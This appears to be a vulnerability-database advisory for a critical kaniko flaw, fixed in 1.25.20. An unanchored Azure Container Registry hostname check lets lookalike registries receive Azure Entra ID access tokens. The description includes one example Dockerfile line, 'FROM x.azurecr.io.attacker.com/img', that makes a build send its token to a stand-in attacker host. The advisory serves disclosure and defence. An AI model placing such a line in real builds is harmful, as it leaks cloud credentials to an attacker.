VulnerabilityPublished 2 Nov 2026

CVE-2026-105769: chainguard kaniko · Origin Validation Error

Affects chainguard kanikoSource CVE Database V5

Compare

Not known to be exploited · CVSS 9.3 Critical : upgrade to 1.25.20 as a priority.

Data as of 2 Nov 2026, 18:58 UTC

CVSS 3.1 base score

9.3Critical

How severe the flaw is on the 0–10 CVSS scale.

Thin evidence

One scorer or none

CVSS scores by source
CNA (chainguard)	CVSS 3.1	9.3

Patch: Available – fixed in 1.25.20

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: Required
Scope: Changed
Confidentiality: High
Integrity: High
Availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: Required: Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited.
Scope: Changed: An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.
Confidentiality: High: There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact.
Integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability: None: There is no impact to availability within the impacted component.

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 2 Nov 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 2 Nov 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade kaniko and github.com/chainguard-dev/kaniko to 1.25.20.

Affected software

Product	Affected	Fixed in
kanikogithub.com/chainguard-dev/kaniko	Affected <1.25.20	Fixed in 1.25.20
Gogithub.com/chainguard-dev/kaniko`pkg:golang/github.com/chainguard-dev/kaniko`Other threats	Affected <1.25.20	Fixed in 1.25.20

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

AI-suggested

Upgrade kaniko to version 1.25.20 or later, where this vulnerability is fixed. The fix corrects the origin validation logic in the Azure Container Registry credential helper to prevent tokens from being sent to attacker-controlled hosts. No other mitigation actions are required if the upgrade is applied.

Description

kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.

Impact

An attacker controlling a malicious container registry hostname that resembles an Azure Container Registry can trick kaniko into sending a valid Azure AD access token to the attacker. This token grants the attacker access to Azure Resource Manager with the same role assignments as the compromised identity, potentially allowing unauthorized management of Azure resources. The attacker can also exchange the token for credentials to any Azure Container Registry accessible by that identity. This leads to a critical confidentiality and integrity impact without requiring additional Dockerfile instructions or image pushes.

Summary

The vulnerability (CVE-2026-105769) affects chainguard-forks kaniko versions prior to 1.25.20. Kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which determines if a host is an Azure Container Registry by matching hostnames containing .azurecr.io, .azurecr.cn, .azurecr.de, or .azurecr.us using an unanchored regular expression. This allows attacker-controlled hosts with lookalike names (e.g., x.azurecr.io.attacker.com) to be misidentified as legitimate Azure Container Registries. When a Dockerfile references images from such hosts, kaniko requests an Azure AD access token from the build's Azure identity and sends it to the attacker-controlled host. The attacker can then use this token to access Azure Resource Manager with the identity's privileges and exchange it for credentials to any Azure Container Registry the identity can access. No Docker RUN instructions or image pushes are required to exploit this. The vulnerability is classified under CWE-346 (Origin Validation Error) and CWE-522 (Insufficiently Protected Credentials). It has a CVSS 3.1 score of 9.3 (critical). The issue is resolved in kaniko version 1.25.20.

CWE-346Origin Validation Error (opens in a new tab)
Class weaknessOWASP Top 10 A07:2025: Authentication Failures (opens in a new tab)
The product does not properly verify that the source of data or communication is valid.
OWASP Cheat Sheets
OWASP Authentication (opens in a new tab)
OWASP ASVS 4.0.3
V14.5.2 (opens in a new tab)
V14.5.3 (opens in a new tab)
V1.4.4 (opens in a new tab)
Attack patterns
JSON Hijacking (aka JavaScript Hijacking) (opens in a new tab)
Cache Poisoning (opens in a new tab)
DNS Cache Poisoning (opens in a new tab)
Exploit Script-Based APIs (opens in a new tab)
Application API Message Manipulation via Man-in-the-Middle (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).
CWE-522Insufficiently Protected Credentials (opens in a new tab)
Class weaknessOWASP Top 10 A06:2025: Insecure Design (opens in a new tab)
The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
Architecture and Design
Use an appropriate security mechanism to protect the credentials.
Architecture and Design
Make appropriate use of cryptography to protect the credentials.
Implementation
Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).
OWASP Cheat Sheets
Secure Design Principles (opens in a new tab)
OWASP ASVS 4.0.3
V2.10.3 (opens in a new tab)
V2.8.5 (opens in a new tab)
V2.8.4 (opens in a new tab)
Attack patterns
Session Sidejacking (opens in a new tab)
Signature Spoofing by Key Theft (opens in a new tab)
Password Recovery Exploitation (opens in a new tab)
Kerberoasting (opens in a new tab)
Modify Existing Service (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

References

Community reviews

Loading reviews…

Exploitation evidence

What to do

Affected software

Description

AI analysisMachine-generated, updated 2 Nov 2026, 17:01 UTC

WeaknessesCWE-346, CWE-522

Technical details

References

Community reviews

Related threats